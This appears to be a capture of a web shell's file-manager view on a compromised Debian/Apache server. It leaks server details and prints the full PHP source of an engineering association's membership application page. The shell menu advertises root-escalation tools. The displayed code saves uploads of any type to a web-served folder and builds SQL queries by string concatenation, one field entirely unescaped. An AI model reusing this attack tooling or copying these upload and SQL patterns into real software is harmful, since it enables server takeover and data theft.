Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
apply /
Delete
Unzip
Name
Size
Permission
Date
Action
uploads
[ DIR ]
drwxrwsr-x
2019-03-12 09:11
APPLICATION_FORM.doc
40.5
KB
-rw-r--r--
2017-07-26 10:16
index.php
13.7
KB
-rw-r--r--
2022-06-16 19:35
Save
Rename
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> <title>CESA Membership Application</title> <link href="../js/jqueryui/jquery-ui.css" rel="stylesheet" /> <link href="../js/jquery.steps.css" rel="stylesheet" type="text/css" /> <script src="../js/jquery-3.2.1.min.js"></script> <script src="../js/jquery.steps.min.js"></script> <script src="../js/jquery.validate.js"></script> <script src="../js/jqueryui/jquery-ui.js"></script> <script> function CheckForm(objForm) { return true; } </script> <style> body, td, p { font-family:Arial, Helvetica, sans-serif; font-size:12px; } </style> </head> <body> <h1> <img align="middle" alt="CESA" height="82" hspace="10" src="../images/CESAlogo.jpg" width="237" />Membership Application</h1> <?php function UniqueFilename($sDir, $sFilename) { $i=1; $sNewFilename=str_replace(array("'",'"',",",'#'),"_",$sFilename); while (file_exists($sDir.$sNewFilename)) { $sNewFilename=$i."_".$sFilename; $i++; } return $sDir.$sNewFilename; } $bShowForm=true; if (isset($_REQUEST["id"])) $iID=$_REQUEST["id"]; if (isset($_REQUEST["go"])) { include_once( '../php/inc_db.php' ); $target_dir = "uploads/"; $sAppForm=""; if (isset($_FILES["AppForm"]["name"]) && !empty($_FILES["AppForm"]["name"])) { $target_file = UniqueFilename($target_dir,basename($_FILES["AppForm"]["name"])); if (move_uploaded_file($_FILES["AppForm"]["tmp_name"], $target_file)) $sAppForm=basename($target_file); } $sCIPCReg=""; if (isset($_FILES["CIPCReg"]["name"]) && !empty($_FILES["CIPCReg"]["name"])) { $target_file = UniqueFilename($target_dir,basename($_FILES["CIPCReg"]["name"])); if (move_uploaded_file($_FILES["CIPCReg"]["tmp_name"], $target_file)) $sCIPCReg=basename($target_file); } $sMPRes=""; if (isset($_FILES["MPRes"]["name"]) && !empty($_FILES["MPRes"]["name"])) { $target_file = UniqueFilename($target_dir,basename($_FILES["MPRes"]["name"])); if (move_uploaded_file($_FILES["MPRes"]["tmp_name"], $target_file)) $sMPRes=basename($target_file); } $sPIInsurance=""; if (isset($_FILES["PIInsurance"]["name"]) && !empty($_FILES["PIInsurance"]["name"])) { $target_file = UniqueFilename($target_dir,basename($_FILES["PIInsurance"]["name"])); if (move_uploaded_file($_FILES["PIInsurance"]["tmp_name"], $target_file)) $sPIInsurance=basename($target_file); } $sLetterhead=""; if (isset($_FILES["Letterhead"]["name"]) && !empty($_FILES["Letterhead"]["name"])) { $target_file = UniqueFilename($target_dir,basename($_FILES["Letterhead"]["name"])); if (move_uploaded_file($_FILES["Letterhead"]["tmp_name"], $target_file)) $sLetterhead=basename($target_file); } $sql="INSERT INTO Applications (FirmName, PhysicalAddress, FoundingDate, VATNumber, AppForm, CIPCReg, MPRes, PIInsurance, Letterhead) VALUES ('".addslashes($_REQUEST["FirmName"])."', '".addslashes($_REQUEST["PhysicalAddress"])."', '".addslashes($_REQUEST["FoundingDate"])."', '".addslashes($_REQUEST["VATNumber"])."', '".$sAppForm."', '".$sCIPCReg."', '".$sMPRes."', '".$sPIInsurance."', '".$sLetterhead."')"; // echo $sql; mysqli_query($conni,$sql); $iID=mysqli_insert_id($conni); for ($iP=1; $iP<=10; $iP++) { $sCV=""; if (isset($_FILES["CV".$iP]["name"]) && !empty($_FILES["CV".$iP]["name"])) { $target_file = UniqueFilename($target_dir,basename($_FILES["CV".$iP]["name"])); if (move_uploaded_file($_FILES["CV".$iP]["tmp_name"], $target_file)) $sCV=basename($target_file); } if (!empty($_POST["PrincipalName".$iP])) { $sql="INSERT INTO ApplicationCVs (ApplicationID, PrincipalName, OfficeName, CVFile) VALUES (".$iID.", '".addslashes($_POST["PrincipalName".$iP])."', '".addslashes($_POST["OfficeName".$iP])."', '".$sCV."')"; mysqli_query($conni,$sql); } } $sql="INSERT INTO ADec_tblMemberFirms (Prev_FirmID, FirmName, MemberStatus, ApplicationID) VALUES (".(10000+$iID).", '".addslashes($_REQUEST["FirmName"])."', 'Application', ".$iID.")"; mysqli_query($conni,$sql); $iFirmID=mysqli_insert_id($conni); $sql="INSERT INTO ADec_tblMemberFirmOffices (FirmID, Prev_FirmID, OfficeName, OfficeStatus, FullOrPartTime, TownCity, Country, Province, GeoLocation) VALUES (".$iFirmID.", ".(10000+$iID).", '".addslashes($_REQUEST["FirmName"])."', '".$_REQUEST["OfficeStatus"]."', 'Full Time', '".addslashes($_REQUEST["TownCity"])."', 'South Africa', '".addslashes($_REQUEST["Province"])."', '".addslashes($_REQUEST["TownCity"])."')"; mysqli_query($conni,$sql); $iOfficeID=mysqli_insert_id($conni); $sql="INSERT INTO ADec_Contacts (ContactFirstName, ContactSurname, ContactInitials, CellPhone, PersonalTel, PreferredEmail) VALUES ('".addslashes($_REQUEST["ContactFirstName"])."', '".addslashes($_REQUEST["ContactSurname"])."', '".substr($_REQUEST["ContactFirstName"],0,1)."', '".addslashes($_REQUEST["CellPhone"])."', '".addslashes($_REQUEST["PersonalTel"])."', '".addslashes($_REQUEST["PreferredEmail"])."')"; mysqli_query($conni,$sql); $iContactsID=mysqli_insert_id($conni); $sql="INSERT INTO ADec_OfficeContacts (ContactsID, OfficeID, MandatedPrincipal) VALUES (".$iContactsID.", ".$iOfficeID.", 1)"; mysqli_query($conni,$sql); ?> <p>Thank you for your application. You now need to complete the Annual Declaration.</p> <p>If you would like to return to this page later to complete your Annual Declaration, please save this link:<br> <a href="https://www.cesa.co.za/apply/index.php?id=<?php echo $iID; ?>">https://www.cesa.co.za/apply/index.php?id=<?php echo $iID; ?></a> </p> <?php $bShowForm=false; } if (isset($iID)) { $bShowForm=false; ?> <p>Please complete <b>both</b> parts of the online annual declaration via the buttons below:</p> <p><input name="Button1" type="button" value="Complete the Annual Declaration - Part 1" onclick="javascript:window.open('http://www.cesa.co.za/members/AnnualDeclaration_Part1/annualGENERIC4.php4?appid=<?php echo md5($iID); ?>')" /></p> <p><input name="Button1" type="button" value="Complete the Annual Declaration - Part 2" onclick="javascript:window.open('http://www.cesa.co.za/members/AnnualDeclaration_Part1/annualpart2.php4?appid=<?php echo md5($iID); ?>')" /></p> <p>Please contact Gillian Wands on 011 463 2022 with any queries.</p> <?php } if ($bShowForm) { ?> <div style="width:800px"> <form method="POST" action="index.php" enctype="multipart/form-data" onsubmit="return CheckForm(this);" id="appform"> <input type="hidden" name="go" value="1" /> <input type="hidden" name="ADec_AppRef" value="<?php echo $sAppRef; ?>" /> <div> <h3>Application</h3> <section> <h4>Application</h4> <p>I/We hereby apply for admission as a Member of Consulting Engineers South Africa.</p> <table cellpadding="5" cellspacing="0" style="width: 600px"> <tr> <td style="width: 159px" valign="top">Full Name of Firm:</td> <td><input name="FirmName" style="width: 400px" type="text" id="FirmName" required /></td> </tr> <tr> <td style="width: 159px" valign="top">Full Street Address:</td> <td><textarea cols="40" name="PhysicalAddress" rows="4" id="PhysicalAddress" required></textarea></td> </tr> <tr> <td style="width: 159px" valign="top">Town / City of Head Office:</td> <td> <input name="TownCity" type="text" id="TownCity" required /></td> </tr> <tr> <td style="width: 159px" valign="top">Province:</td> <td><select name="Province" required> <option>Eastern Cape</option> <option>Free State</option> <option>Gauteng</option> <option>Kwazulu-Natal</option> <option>Limpopo</option> <option>Mpumalanga</option> <option>Northern Cape</option> <option>North West</option> <option>Western Cape</option> </select></td> </tr> <tr> <td style="width: 159px" valign="top">Date of Founding:</td> <td><input name="FoundingDate" type="text" id="FoundingDate" required /> <br /> PLEASE NOTE: As a general rule all firms that apply for Membership of CESA should have been in practice for at least one year</td> </tr> <tr> <td style="width: 159px" valign="top">VAT Number:</td> <td><input name="VATNumber" type="text" id="VATNumber" required /></td> </tr> <tr> <td style="width: 159px" valign="top">Total Number of Offices / Branches in Firm:</td> <td><select name="OfficeStatus" id="OfficeStatus" required> <option value="Only Office">One</option> <option value="Head Office">More than one</option> </select></td> </tr> </table> </section> <h3>Mandated Principal</h3> <section> <h4>Mandated Principal</h4> <table cellpadding="5" cellspacing="0" style="width: 600px"> <tr> <td colspan="2"><strong>Mandated Principal:</strong></td> </tr> <tr> <td style="width: 159px" valign="top">First Name:</td> <td><input name="ContactFirstName" type="text" id="ContactFirstName" required /></td> </tr> <tr> <td style="width: 159px" valign="top">Surname:</td> <td><input name="ContactSurname" type="text" id="ContactSurname" required /></td> </tr> <tr> <td style="width: 159px" valign="top">Tel:</td> <td><input name="PersonalTel" type="text" id="PersonalTel" required /></td> </tr> <tr> <td style="width: 159px" valign="top">Cell:</td> <td><input name="CellPhone" type="text" id="CellPhone" required /></td> </tr> <tr> <td style="width: 159px" valign="top">Email:</td> <td><input name="PreferredEmail" type="text" id="PreferredEmail" required /></td> </tr> </table> </section> <h3>CVs of Principals</h3> <section> <div style="height:350px; overflow:scroll"> <h4>Upload Principals' CVs</h4> <p>Upload the CV of each of your principals below.</p> <table cellpadding="5" cellspacing="0" style="width: 600px"> <tr> <td style="width: 308px">Name of Principal 1:</td> <td><input name="PrincipalName1" type="text" required /></td> </tr> <tr> <td style="width: 308px">Name of Office:</td> <td><input name="OfficeName1" type="text" required /></td> </tr> <tr> <td style="width: 308px">CV:</td> <td><input name="CV1" type="file" required /></td> </tr> <?php for ($iP=2; $iP<=10; $iP++) { ?> <tr><td colspan="2"><hr></td></tr> <tr> <td style="width: 308px">Name of Principal <?php echo $iP; ?>:</td> <td><input name="PrincipalName<?php echo $iP; ?>" type="text" /></td> </tr> <tr> <td style="width: 308px">Name of Office:</td> <td><input name="OfficeName<?php echo $iP; ?>" type="text" /></td> </tr> <tr> <td style="width: 308px">CV:</td> <td><input name="CV<?php echo $iP; ?>" type="file" /></td> </tr> <?php } ?> </table> </div> </section> <h3>Upload Documents</h3> <section> <h4>Upload Documents</h4> <p>Please <a href="APPLICATION_FORM.doc" target="_blank">click here to download the Application Form</a>, which must be completed and signed. </p> <p>Upload the signed application form and the following documents:</p> <table cellpadding="5" cellspacing="0" style="width: 600px"> <tr> <td style="width: 308px">Signed Application Form:</td> <td><input name="AppForm" type="file" required /></td> </tr> <tr> <td style="width: 308px">Firm's CIPC Registration Papers:</td> <td><input name="CIPCReg" type="file" required /></td> </tr> <tr> <td style="width: 308px">Resolution appointing the Mandated Principal:</td> <td><input name="MPRes" type="file" required /></td> </tr> <tr> <td style="width: 308px">Copy of PI Insurance:</td> <td><input name="PIInsurance" type="file" required /></td> </tr> <tr> <td style="width: 308px">Company Letterhead:</td> <td><input name="Letterhead" type="file" required /></td> </tr> </table> </section> <h3>Submit</h3> <section> <h4>Submit Application</h4> <ul> <li>I/We declare that my/our firm complies with the requirements of the Memorandum of Incorporation (MoI) of Consulting Engineers South Africa and specifically all the requirements of Clause 1.2 (11).</li> <li>The Form of the firm and the names of the Principals will be disclosed on the Annual Declaration.</li> <li>I /We agree to abide by the MoI and By-laws and acknowledge having read and understood them.</li> <li>I/We agree to adhere to CESA’s Business Management Integrity Guidelines.</li> <li>I am/We are aware that the Council of CESA has the right to accept or reject this application.</li> <li>I/We undertake to complete the Annual Declaration each year as required by Clause 15 of the By-laws.</li> </ul> <p><input name="Submit1" type="submit" value="Submit" id="FinishButton" /></p> </section> </div> </form> </div> <script> var form = $("#appform"); form.validate({ errorPlacement: function errorPlacement(error, element) { element.before(error); }, rules: { confirm: { equalTo: "#password" } } }); form.children("div").steps({ headerTag: "h3", bodyTag: "section", transitionEffect: "slideLeft", onStepChanging: function (event, currentIndex, newIndex) { form.validate().settings.ignore = ":disabled,:hidden"; return form.valid(); // return true; }, onFinishing: function (event, currentIndex) { form.validate().settings.ignore = ":disabled"; return form.valid(); // return true; }, onFinished: function (event, currentIndex) { document.getElementById('FinishButton').click(); // alert("Submitted!"); } }); $( "#FoundingDate" ).datepicker({ changeMonth: true, changeYear: true, inline: true, dateFormat: "yy-mm-dd", yearRange: "1900:c+0" }); </script> <?php } ?> </body> </html>